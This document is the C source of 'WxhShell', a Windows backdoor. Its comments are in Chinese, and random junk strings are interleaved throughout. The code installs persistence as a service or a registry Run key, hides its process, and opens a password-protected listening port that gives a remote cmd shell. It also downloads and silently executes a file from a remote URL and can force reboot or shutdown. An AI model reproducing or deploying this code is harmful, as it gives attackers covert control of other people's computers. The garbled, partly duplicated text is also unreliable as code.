k7 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _2TIan} if(NULL == hInst ) return 0; :n>h[{o% wRuJein# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ii"cDH9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3wr~P NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;bZ)q OaZ~ if (!NtQueryInformationProcess) return 0; r3KV.##u, ck Tnb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zcA"\ if(!hProcess) return 0; H_$"]iQ }q~A( u if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `j<'*v
zo ;hKn$' ' CloseHandle(hProcess); pY:xxnE +)V6"XY-( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2S/^"IM[" if(hProcess==NULL) return 0; )`U T#5 Bd7A-T)q! HMODULE hMod; Tn-H8;Hg char procName[255]; =g&0CFF < unsigned long cbNeeded; 'Oq}BVR& l,d8%\ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k1%Ek#5 -Y+[`0$' CloseHandle(hProcess); b?Vu9! "#p)Z{v"! if(strstr(procName,"services")) return 1; // 以服务启动 {)Gh~~57_W *rqih_j0 return 0; // 注册表启动 D9Q%*DLd$_ } ]r#tJT`M sGzd c // 主模块 +]AE}UXZoh int StartWxhshell(LPSTR lpCmdLine) aUJ& { M ,<%j SOCKET wsl; zg^5cHP\ BOOL val=TRUE; zZA I"\;W int port=0; 1*=[%
d7 struct sockaddr_in door; JM M\ sSvQatwS if(wscfg.ws_autoins) Install(); #$#{QEh0} m(&ZNZK port=atoi(lpCmdLine); t<$yxD/R )ll}hGS if(port<=0) port=wscfg.ws_port; =JEnK_@?K\ [y'jz~9c WSADATA data; ^%C.S : if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
kH{axMNc esxU44 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ofN|%g / setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vg2s~ce{ door.sin_family = AF_INET; bluC P| door.sin_addr.s_addr = inet_addr("127.0.0.1"); IU3OI:uq door.sin_port = htons(port); @P)GDB7A bk"` hq if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *S;v406 closesocket(wsl); CjIkRa@!x return 1; m,8A2;&,8 } \ar.(J 0WQ0-~wx if(listen(wsl,2) == INVALID_SOCKET) { XD*$$`+# closesocket(wsl); 2< ^B]N return 1; v6iV#yz3( } o%CBSm] Wxhshell(wsl); sHAzg^n}r WSACleanup(); Ei}B9 &O >6(nW:I0y return 0; t7n*kiN<q /eZAAH } K\o! 2W|j
K // 以NT服务方式启动 0*h\/!e VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vsLn@k3 { TN` pai0 DWORD status = 0; E-&=I> B5 DWORD specificError = 0xfffffff; %#"uK:(N .lRO;D serviceStatus.dwServiceType = SERVICE_WIN32; |L0 s serviceStatus.dwCurrentState = SERVICE_START_PENDING; [f^~Z'TIN/ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u5%.T0
P serviceStatus.dwWin32ExitCode = 0; 3/4xP| serviceStatus.dwServiceSpecificExitCode = 0; p`XI (NI serviceStatus.dwCheckPoint = 0; XPb7gd"%W serviceStatus.dwWaitHint = 0; l6a,:*_ 1G$kO90 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1\_4# @') if (hServiceStatusHandle==0) return; <gJ|Wee 5AQ $xm4 status = GetLastError(); 4l[f}Z if (status!=NO_ERROR) -s4qm)\ { c_&iGQ serviceStatus.dwCurrentState = SERVICE_STOPPED; k1B7uA'h"G serviceStatus.dwCheckPoint = 0; Zj!S('hSY serviceStatus.dwWaitHint = 0; /q(+r5k \ serviceStatus.dwWin32ExitCode = status; 8h-6;x^^ serviceStatus.dwServiceSpecificExitCode = specificError; F|Jo|02 SetServiceStatus(hServiceStatusHandle, &serviceStatus); =suj3.
return; NCX!ss } RIb<
7 wGAN"K:e serviceStatus.dwCurrentState = SERVICE_RUNNING; 'szkn0 serviceStatus.dwCheckPoint = 0; Uu8Z2M serviceStatus.dwWaitHint = 0; a&4>xZU # if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JFl@{6c } W<k) '| Q]7r?nEEhW // 处理NT服务事件,比如:启动、停止 KZ;U6TBiB VOID WINAPI NTServiceHandler(DWORD fdwControl) )7[>/2aGd { ]r6,^" switch(fdwControl) 0 UjT<t^F { d v" case SERVICE_CONTROL_STOP: w/>k serviceStatus.dwWin32ExitCode = 0; Fg`r:,(a serviceStatus.dwCurrentState = SERVICE_STOPPED; t9W_ [_a9 serviceStatus.dwCheckPoint = 0; e#SNN-hKsJ serviceStatus.dwWaitHint = 0; V=\&eS4^" { My
Af~&Y+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); vQYd!DSh } h"M}Iz~|V? return; X62z>mM case SERVICE_CONTROL_PAUSE: 4|7L26,]5 serviceStatus.dwCurrentState = SERVICE_PAUSED; _sJp"4? break; 5H;* Nj@ case SERVICE_CONTROL_CONTINUE: nD!C9G#oS serviceStatus.dwCurrentState = SERVICE_RUNNING; );7csh% break; XOVZ'V case SERVICE_CONTROL_INTERROGATE: pA"pt~6 break; Q->'e-\E<" }; noGMfZ1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4- N># } )6^b\` \D>' // 标准应用程序主函数 cSoZq4 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R~[
u|EC} { ;m@>v?zE ^4c2}>f // 获取操作系统版本 ?r2Im5N OsIsNt=GetOsVer(); u,4,s[ GetModuleFileName(NULL,ExeFile,MAX_PATH); yV=hi?f-[V $bD 3 // 从命令行安装 JxNjyw if(strpbrk(lpCmdLine,"iI")) Install(); .@ /5Ln :G$NQ*(z // 下载执行文件 IeZ}`$[H if(wscfg.ws_downexe) { x.>z2. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ex&&7$CXc WinExec(wscfg.ws_filenam,SW_HIDE); wF$8#= } wC..LdSR ^5QSV\X if(!OsIsNt) { g6;O)b // 如果时win9x,隐藏进程并且设置为注册表启动 =HYMX"s HideProc(); u.1u/o1" StartWxhshell(lpCmdLine); ]e7D"" } 64hr|v else &.K=,+0_R/ if(StartFromService()) b;Q
cBGwKT // 以服务方式启动 Y&]pC StartServiceCtrlDispatcher(DispatchTable); Kc}FMu else J:5%ff~r\ // 普通方式启动 }NiJDs StartWxhshell(lpCmdLine); JY_+p9KfyQ ATPc~f return 0;
lf[( } Gk'J'9* .ye5;A} X];a(7+2 +w%MwPC7` =========================================== OB;AgE@ rM_8piD *~:4&$ L`yS' 11%^K=dq 0_,V} " m:ITyQ+ q#c\ #include <stdio.h> y~]>J^ #include <string.h> "e@JMS #include <windows.h> [1G4he% #include <winsock2.h> ,d&~#W] #include <winsvc.h> k%VV(P]sT #include <urlmon.h> ;_1D-Mf `+Wl
fk; #pragma comment (lib, "Ws2_32.lib") 7o'kdYJzo #pragma comment (lib, "urlmon.lib") *=UEx0_!q B
,e3r #define MAX_USER 100 // 最大客户端连接数 v>;6pcp[F #define BUF_SOCK 200 // sock buffer C[|jJ9VE, #define KEY_BUFF 255 // 输入 buffer Aum&U){yY ,M5zhp$ #define REBOOT 0 // 重启 P)7SK&]r;= #define SHUTDOWN 1 // 关机 f*aYS j^Bo0{{ #define DEF_PORT 5000 // 监听端口 o~*% g. I[c/)
N #define REG_LEN 16 // 注册表键长度 @m<xpel #define SVC_LEN 80 // NT服务名长度 OU/PB ZdY:I;)s // 从dll定义API Nd%,V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /!P,o}l7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -'*B%yy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k-*H=km typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Dc}-wnga DrC4oxS 1 // wxhshell配置信息 Nw/4z$].J struct WSCFG { hDSt6O4za int ws_port; // 监听端口 ;mjk`6p char ws_passstr[REG_LEN]; // 口令 es6!p 7p? int ws_autoins; // 安装标记, 1=yes 0=no Xt_8=Q char ws_regname[REG_LEN]; // 注册表键名 s%1 O}X$c char ws_svcname[REG_LEN]; // 服务名 |p-, B>p! char ws_svcdisp[SVC_LEN]; // 服务显示名 a{GPAzO+ char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vof[yL ` char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pW 2NrBq@w int ws_downexe; // 下载执行标记, 1=yes 0=no 9l]+rs+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (1^AzE%U+Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wzwEYZN(q P\pHos }; +? E~F !9_HZ(W& // default Wxhshell configuration $BXZFC_1S struct WSCFG wscfg={DEF_PORT, )+OI} "xuhuanlingzhe", ;}@.E@s%' 1, nQy.?*X "Wxhshell",
=8?y$WE "Wxhshell", iVTC"v "WxhShell Service", ZX'q-JUv f "Wrsky Windows CmdShell Service", m9 o{y6_j* "Please Input Your Password: ", gFizw:l 1, Vzn0; "http://www.wrsky.com/wxhshell.exe", w9<<|ZaU "Wxhshell.exe" ^a^bsKW };
c@7d4Jz SR!EQ< // 消息定义模块 * ?x$q/a char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8Wqh 8$ char *msg_ws_prompt="\n\r? for help\n\r#>"; 2FU+o\1% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =.a} char *msg_ws_ext="\n\rExit."; ABb,]% char *msg_ws_end="\n\rQuit."; ,h,OUo]LIY char *msg_ws_boot="\n\rReboot..."; IO3 p&sJ/ char *msg_ws_poff="\n\rShutdown..."; .ZQD`SRrI char *msg_ws_down="\n\rSave to "; xvw @'| o&0fvCpW char *msg_ws_err="\n\rErr!"; )O\w'|$G char *msg_ws_ok="\n\rOK!"; v3O+ ;4 >9dzl# char ExeFile[MAX_PATH]; 0)F.Y,L int nUser = 0; J_NY:B HANDLE handles[MAX_USER]; .j^tFvN~L int OsIsNt; Z*/{^ zsE A0X'|4I SERVICE_STATUS serviceStatus; 5|O~ SERVICE_STATUS_HANDLE hServiceStatusHandle; fE`p yC \dM1X // 函数声明 xB-\yWDZe
int Install(void); ^/]w}C#:d int Uninstall(void); [x{z}rYH int DownloadFile(char *sURL, SOCKET wsh); =r|e]4 int Boot(int flag); bUvVt3cm void HideProc(void); wnUuoX( int GetOsVer(void); 3bYPi^ int Wxhshell(SOCKET wsl); +@] ,JlYf void TalkWithClient(void *cs); @};
vl int CmdShell(SOCKET sock); ]#k=VKdV int StartFromService(void); {E=BFs int StartWxhshell(LPSTR lpCmdLine); w'[JfMu P E' -lpE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;k?Z,M: VOID WINAPI NTServiceHandler( DWORD fdwControl ); {%wF*?gk Gh%R4)} // 数据结构和表定义 tJBj9{ SERVICE_TABLE_ENTRY DispatchTable[] = F$/7X~* { r=6N ZoZ {wscfg.ws_svcname, NTServiceMain}, GFGW'}w- {NULL, NULL} f/7on|bv }; eI,'7u4q @7HHi~1JK // 自我安装 e5AZU7%. int Install(void) :+_uyp2V { joz0D!-"# char svExeFile[MAX_PATH]; Mz7qC3Z HKEY key; o5B]? ekpq strcpy(svExeFile,ExeFile); 0tKVo]EK 5GK> ~2c( // 如果是win9x系统,修改注册表设为自启动 ;!S i_b2 if(!OsIsNt) { ?K\r-J!Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *I:a\o~$[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sw.k,p*r RegCloseKey(key); %W}YtDf\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mzRH:HgN? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VUon>XQ
G RegCloseKey(key); 6E@TcN~,! return 0; 15z(hzU?# } Tnv,$KOhs } \G0YLV~>P } G%A!yV else { M3U?\g kyi"U A82 // 如果是NT以上系统,安装为系统服务 vA"LV+@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HvR5-?qQ if (schSCManager!=0) Or#KF6+ut { k4d;4D? SC_HANDLE schService = CreateService h,\5C/ ( X2|&\G9c
schSCManager, tmd{Gx}c wscfg.ws_svcname, u4tv=+jh wscfg.ws_svcdisp, cOf.z)kf6 SERVICE_ALL_ACCESS, !hFzIp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ov<vSc<u SERVICE_AUTO_START, 2:RFPK SERVICE_ERROR_NORMAL, \sAkKPI svExeFile, }uwZS=pw NULL, bE,#, NULL, 5)Z:J NULL, #kk5{*` NULL, #_Zkke~{ NULL YSzC's[ ); 4p7j"d5 if (schService!=0) )(OGo`4Qz { O1@3V/.Wu CloseServiceHandle(schService); DS+BX`i%#p CloseServiceHandle(schSCManager); O=vD6@QI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n%;4Fm? strcat(svExeFile,wscfg.ws_svcname); #
0d7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %ikPz~( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s",G
w]8 RegCloseKey(key); baBPf{< return 0; w`EC6ZN } B8unF=u } !3<b#QAXRG CloseServiceHandle(schSCManager); g*Pn_Yo[. } D9H%jDv } 6B]i}nFH{+ Wv%F^(R7 return 1; V$wbm z } '9'f\ uGn BlR$} // 自我卸载 Pc`)D:/}R int Uninstall(void) KSJ+3_7]k { *ZV3]ig2$ HKEY key; Z<W f/ -aLM*nIoe if(!OsIsNt) { U# IPYyV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VeqB/QX RegDeleteValue(key,wscfg.ws_regname); ~;-2eKw RegCloseKey(key); MskOPg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QE pCU) RegDeleteValue(key,wscfg.ws_regname); PbY.8d%2/k RegCloseKey(key); Y
O|hwhe_ return 0; G({5Lj gW } A
k~|r#@ } QCG-CzJ9l } gV$0J?Pr. else { Lctp=X4 6kMEm)YjT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oKr= ]p if (schSCManager!=0) cd~ QGP_C { lYS " SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,<C~DSAyZ if (schService!=0) QpiDBJCL { ]k BC,m( if(DeleteService(schService)!=0) { ?r*}1WsH CloseServiceHandle(schService); I *f@M} CloseServiceHandle(schSCManager); *y(UI/c return 0; <WbO&;% } z
=\ENG|x# CloseServiceHandle(schService); ?=1i:h } OlptO60{ ] CloseServiceHandle(schSCManager); asE.!g? } Z2-tDp(I } ~OLyG$JJ R&:Qy7" return 1; IGo5b-ds } :o87<)
_F il"pKQF // 从指定url下载文件 J9f]=1` int DownloadFile(char *sURL, SOCKET wsh) qVO,sKQ{ { /Z~$`!J HRESULT hr; h#dfhcU> char seps[]= "/"; X)=m4\R char *token; '*Tt$0#o char *file; &OkPO| char myURL[MAX_PATH]; iSfRo31 char myFILE[MAX_PATH]; g&Uu~;jq] 32y 9r z strcpy(myURL,sURL);
><.*5q token=strtok(myURL,seps); d/ @P;YN! while(token!=NULL) ah(k!0PV { b/\l\\$- file=token; d+5v[x~' token=strtok(NULL,seps); V&/Cb&~Uw } -a"b:Q ,Ij/
^EC} GetCurrentDirectory(MAX_PATH,myFILE); fQ-IM/z strcat(myFILE, "\\"); Uc
; S@ strcat(myFILE, file); :QHh;TIG=< send(wsh,myFILE,strlen(myFILE),0); RMid}BRE send(wsh,"...",3,0); e?
|4O<@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H;DjM;be if(hr==S_OK) *iyc,f^w return 0; zyt >(A1 else 'z=d&K return 1; H
=&K_ M~y}0Ik } H:WuMw D4 u?>8`]r // 系统电源模块 >66
`hZ int Boot(int flag) V?jWp$ { =rkW325O HANDLE hToken; !\OX}kHX5 TOKEN_PRIVILEGES tkp; 6?JvvS5 A ^zd:h- if(OsIsNt) { +=nWB=iCb OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ()n2 KT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?V(+Cc tkp.PrivilegeCount = 1; 8_O?#JYi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jc` tOp5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >9yy91H if(flag==REBOOT) { CAN1~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |8)\8b|VuC return 0; /xBO;'rR } ep*8*GmP else { kQn}lD if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1xO-tIp/ return 0; wLvM<p7OX } k[f_7lJ2 } sk3AwG;A else { ~]'yUd1gSZ if(flag==REBOOT) { n?9FJOqi if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z.s0ddMs return 0; [ A 7{}
} o1-_BlZ else { {A)9ePgv! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |=V~CQ] return 0; FJT0lC } 2zuQeFsK } D#^euNiWd J6<O|ng:: return 1; *9EW&Ek } t
>.=q: cIrc@ // win9x进程隐藏模块 Dt iM}=: void HideProc(void) 4Tb"+Y} { Tk`|{Ph0 %J1oz3n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?},RN if ( hKernel != NULL ) #q xo1uV(c { O%px>rdkY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -zI9E!24 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D'BGoVP FreeLibrary(hKernel); ;82?ACCP } 0s RcA -9 {kr14l*2 return; % iZM9Q&NC } &
x_
#zN] $+$l?2 // 获取操作系统版本 *dPbV.HCl int GetOsVer(void) k|U2Mp { )ybF@emc OSVERSIONINFO winfo; '}"&JO~vPj winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $dA]GWW5A GetVersionEx(&winfo); ;|:R*(2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %joL}f[ return 1; FW|_8q?}< else (L(n% return 0; 8 VhU)fY } ?-)v{4{s -Zp BYX5e_ // 客户端句柄模块 e+MQmWA'F int Wxhshell(SOCKET wsl) |68k9rq { ia_lP SOCKET wsh; d`~~Ww1 struct sockaddr_in client; Iga#,k+% DWORD myID; nd7g8P9p U]@?[+I0] while(nUser<MAX_USER) p<,`l)o}~ { ,Q0H)//~ int nSize=sizeof(client); 6CSoQ|c{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W|y;Kxy if(wsh==INVALID_SOCKET) return 1; beSU[ p@[ fZj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AWKJ@&pA9m if(handles[nUser]==0) KSHq0A6/q% closesocket(wsh); Vjw u:M else ;mvVo-r*q nUser++; +C[g>c}d } E+#<WK- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m^=El7+ Aa4Tq2G return 0; U4<c![Pp. } e =r
b N_Kdi%q // 关闭 socket WqF$-rBJG^ void CloseIt(SOCKET wsh) -; J6S { xwi6#> closesocket(wsh); S(?A3 H nUser--; w( _42)v]g ExitThread(0); w6WPfy(/2 } 'W yWO^Bdk /zoy,t-i // 客户端请求句柄 m}\QGtJ6 void TalkWithClient(void *cs) ,&qC
R
sw { 4+s6cQ]S` f-71`Pyb SOCKET wsh=(SOCKET)cs; 5j6`W?|q char pwd[SVC_LEN]; 2E[7RBFY+\ char cmd[KEY_BUFF]; WmN(
( char chr[1]; /XEW]/4 int i,j; J9p4\=9 (Bd'Pj]: while (nUser < MAX_USER) { tiHR&v 3RT\G0?8f if(wscfg.ws_passstr) { "\KBF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $|.8@
nj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~~ rR< re //ZeroMemory(pwd,KEY_BUFF); 8.Y|I5l7G i=0; #mA(x@:* while(i<SVC_LEN) { 5<R m{ W ';X4e // 设置超时 kuV7nsXiQ fd_set FdRead; )AQ^PBwp struct timeval TimeOut; kMMgY? FD_ZERO(&FdRead); n=vDEX:' FD_SET(wsh,&FdRead); a4=(z72xe TimeOut.tv_sec=8; R]iV;j| TimeOut.tv_usec=0; ~~Ezt*lH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C?T\5}h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (Y@T5-!D '.(Gg%*\. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hN
&?x5aC> pwd=chr[0]; n]ba1t8ZA if(chr[0]==0xd || chr[0]==0xa) { EN2SI+ pwd=0; %gh#gH break; Y}N\|*ye- } $2?AJ/2r$b i++; c{BAQZVc } yJq< &g _>Raw // 如果是非法用户,关闭 socket -HG.GA if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _9
]:0bDUo } cR/Nl pX {E:` send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,=P&{38\q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VAz4@r7hkq $`E?=L`$ while(1) { 7v ZD <m]0!ii ZeroMemory(cmd,KEY_BUFF); ;7QXs39S ctZ,qg*N // 自动支持客户端 telnet标准 d+D~NA[M j=0; o$sD9xx while(j<KEY_BUFF) { ahg:mlaob if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z'EQdQ) cmd[j]=chr[0]; ]P0%S@] if(chr[0]==0xa || chr[0]==0xd) { f^uiZb cmd[j]=0; tQ|c.`)W break; pj$JA } &Q883A
J j++; H9/!oI1P? } 5H0qMt P im2mA8OH // 下载文件 Zv;nY7B if(strstr(cmd,"http://")) { 79v +ze send(wsh,msg_ws_down,strlen(msg_ws_down),0); gyw=1q+ if(DownloadFile(cmd,wsh)) *[Z`0AgP send(wsh,msg_ws_err,strlen(msg_ws_err),0); h0tiWHw else J\L'HIs send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WNGX`V,d } msBoInhI else { n/_q FEjO}lTK switch(cmd[0]) { 3ZXAAV IVNH.g' // 帮助 sgfqIe1 case '?': { /ox7$|Jyr send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o[ZjXLJzV break; *D?=Ts } ,1sbY!&ekL // 安装 uy{O case 'i': { #
e?B if(Install()) `MI\/oM@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); !mlfG"FE else LCorT- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TKB8%/_p break; A9xeOy8e } }~
D
WB" // 卸载 *yhA8fJ case 'r': { ?Lg<)B9
if(Uninstall()) Cbff:IP send(wsh,msg_ws_err,strlen(msg_ws_err),0); <:9ts@B else W.j^L; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UIAazDyC break; rCPIz< } ; J W]b] // 显示 wxhshell 所在路径 ",/6bs#$ case 'p': { Qt.*Z;Gs char svExeFile[MAX_PATH]; ^#R`Uptib strcpy(svExeFile,"\n\r"); @[r[l#4yUi strcat(svExeFile,ExeFile); 7KIekL send(wsh,svExeFile,strlen(svExeFile),0); 5M5Bm[X break; :
@|Rj_S;
} hz:7W8 // 重启 u"0{)
, case 'b': { 1M`E.Ztw* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,WyEwc] if(Boot(REBOOT)) S^%3Vf} send(wsh,msg_ws_err,strlen(msg_ws_err),0); @aS)=|Ls\ else { l[E^nh> closesocket(wsh); fu!T4{2 ExitThread(0); PNm@mC_fh } \TP$2i%W break; pT,8E(*l2 } _#{ *I(l // 关机 ys`-QlkB case 'd': { 2;Z
0pPR& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a>v * if(Boot(SHUTDOWN)) og";mC send(wsh,msg_ws_err,strlen(msg_ws_err),0); x;?8Zr else { 89M'klZ closesocket(wsh); nD5wN~[J ExitThread(0); %,[,mW4l } /b=C break; )c11_1; } F~Dof({: // 获取shell 7T/BzXr,B case 's': { ~xqiasE#K CmdShell(wsh); 94B%_ closesocket(wsh); $`lWW6>P ExitThread(0); }#7l-@{< break; [63\2{_^v } bUcp8 // 退出 =w3A{h"^ case 'x': { v?."`,e send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _*H Hdd5I CloseIt(wsh); u[**,.Ecg break; nXn@|J&z~U } I0x)d` // 离开 4`8s]X case 'q': { d92Z;FWb send(wsh,msg_ws_end,strlen(msg_ws_end),0); VJ\qp% closesocket(wsh); ~u%$ 9IhM WSACleanup(); )h@PRDI_ exit(1); (GF}c\=T7 break; {dxFd-K3 } %?[gBf[y } s~{rC{9X } },d^y:m ]EHsRd // 提示信息 0J+WCm` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yP7b))AW9 } 2-@)'6"n } Movm1*&= -+[Lc_oNPx return; <}lah%4F } z-MQGqxR AZ(zM.y!#_ // shell模块句柄 S*<J y(:n int CmdShell(SOCKET sock) QKjn/%l"@ { ?wHhBh-Q STARTUPINFO si; `<g]p-=": ZeroMemory(&si,sizeof(si)); QqQhQ GV si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XQ=% a5w si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Stwg[K0< PROCESS_INFORMATION ProcessInfo; CF>&mXg\ char cmdline[]="cmd"; :h(RS ; CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]){ZL return 0; QcrhgR } qh.F}9o J&j5@ // 自身启动模式 6hj[/O)E int StartFromService(void) d:hnb)I$* { WSMpX-^e@ typedef struct ~qZ6I)? { G2N0'R" DWORD ExitStatus; {d<XDx4` DWORD PebBaseAddress; 'Y @yW3K DWORD AffinityMask; 2FZT DWORD BasePriority; 3UXZ|!- ULONG UniqueProcessId; Z-lhJ<0/Pa ULONG InheritedFromUniqueProcessId; AM=> P7 } PROCESS_BASIC_INFORMATION; Y:/p0o R +@|#! PROCNTQSIP NtQueryInformationProcess; gHc1_G] 7HVENj_b+M static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~D@ YLW1z( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l 7uTk5 JkN*hm? HANDLE hProcess; _`p-^I PROCESS_BASIC_INFORMATION pbi; a&0g0n6 ,vLQx\m{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TO]7cC if(NULL == hInst ) return 0; I(AlRh uDND o g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8H-yT1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y2tVq})! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V'#R1 x"3 I'BHNZO5tf if (!NtQueryInformationProcess) return 0; ;`^_9
K ^[.}DNR95( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Mi#i 3y( if(!hProcess) return 0; WZ>nA [/ 2]?=\_T if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1#cTk X+sKG5nS CloseHandle(hProcess); ,9d]-CuP; .'A1Eoo0d hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %\,9S`0 if(hProcess==NULL) return 0; OU.}H $x" Wk7E&?-:6 HMODULE hMod; yYGs]+ char procName[255]; u;
KM[FmK unsigned long cbNeeded; ,x1OQ jtY .-iW
